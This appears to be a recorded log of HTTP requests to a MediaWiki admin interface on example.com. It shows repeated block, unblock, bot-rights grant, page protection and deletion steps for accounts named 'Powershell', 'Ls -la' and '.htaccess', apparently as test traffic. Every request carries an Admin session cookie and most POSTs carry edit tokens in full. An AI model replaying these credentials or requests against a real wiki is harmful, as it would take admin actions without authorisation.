{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Powershell&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794260940%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 147", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794260940%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=Powershell&wpReason=Spamming+links+to+powershell+guides&wpEditToken=4b25c2be7aa7180be8fc025161311c226af23fce%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Powershell&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794260942%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794260942%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 306", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Powershell", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794260942%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links+to+powershell+guides&wpEditToken=35cb5dd45d8899e2a96ed95c00c178ef6af23fd0%2B%5C&user=Powershell&wpEditToken=b9e7f00795439581c5845863b4170ec36af23fd0%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/Powershell", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Powershell", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=13%401794260945%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=13%401794260945%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 360", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=13%401794260945%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Powershell+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+powershell+guides&mwProtectWatch=1&wpEditToken=384a82472f675c8d51d5f7ea14bc5a226af23fd1%2B%5C"}
{"method": "GET", "target": "/wiki/Powershell_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=14%401794260946%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=14%401794260946%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 196", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=14%401794260946%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Powershell+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+powershell+guides&wpWatch=1&wpConfirmB=&wpEditToken=08e40f2e3128222c610cfe2dea904b416af23fd3%2B%5C&wpConfirmationRevId=14"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Ls%20-la&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=15%401794260947%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 347", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=15%401794260947%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=Ls+-la&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+ls+-la+guides&wpAutoBlock=1&wpEditToken=5af8bdc9fcc0bb254d92eb67659a644d6af23fd4%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Ls+-la&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=16%401794260949%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 139", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=16%401794260949%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=Ls+-la&wpReason=Spamming+links+to+ls+-la+guides&wpEditToken=9bd8191e47e9f9072a9d2c14f992993a6af23fd6%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Ls%20-la&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=17%401794260951%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=17%401794260951%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 298", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Ls+-la", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=17%401794260951%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links+to+ls+-la+guides&wpEditToken=8e14ef32ae3356daf996af8d9a62cadf6af23fd9%2B%5C&user=Ls+-la&wpEditToken=f252b980c3a50ae3c7d7bc282616ddaf6af23fd9%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/Ls_-la", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Ls+-la", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=18%401794260953%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=18%401794260953%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 352", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=18%401794260953%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Ls+-la+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+ls+-la+guides&mwProtectWatch=1&wpEditToken=5df1e8ea7b750fa5c009e1bece0a87876af23fda%2B%5C"}
{"method": "GET", "target": "/wiki/Ls_-la_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=19%401794260955%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Ls_-la_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=19%401794260955%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Ls_-la_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 188", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Ls_-la_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=19%401794260955%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Ls+-la+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+ls+-la+guides&wpWatch=1&wpConfirmB=&wpEditToken=f42b222ab6666c65ec421df94c07919b6af23fdb%2B%5C&wpConfirmationRevId=15"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=.htaccess&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=20%401794260956%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 353", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=20%401794260956%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=.htaccess&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+.htaccess+guides&wpAutoBlock=1&wpEditToken=2e833a727b3772a4ce387c46ded9ee8e6af23fdd%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=.htaccess&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=21%401794260957%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 145", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=21%401794260957%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=.htaccess&wpReason=Spamming+links+to+.htaccess+guides&wpEditToken=dec595333bbf3e8ddcdfef8055d2406f6af23fdf%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=.htaccess&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=22%401794260960%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=22%401794260960%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 304", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=22%401794260960%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links+to+.htaccess+guides&wpEditToken=afb049b409958f639472fc42566429756af23fe1%2B%5C&user=.htaccess&wpEditToken=18bd2feffb19ff0865f684c5d9f46c836af23fe1%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/.htaccess", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=23%401794260962%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=23%401794260962%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
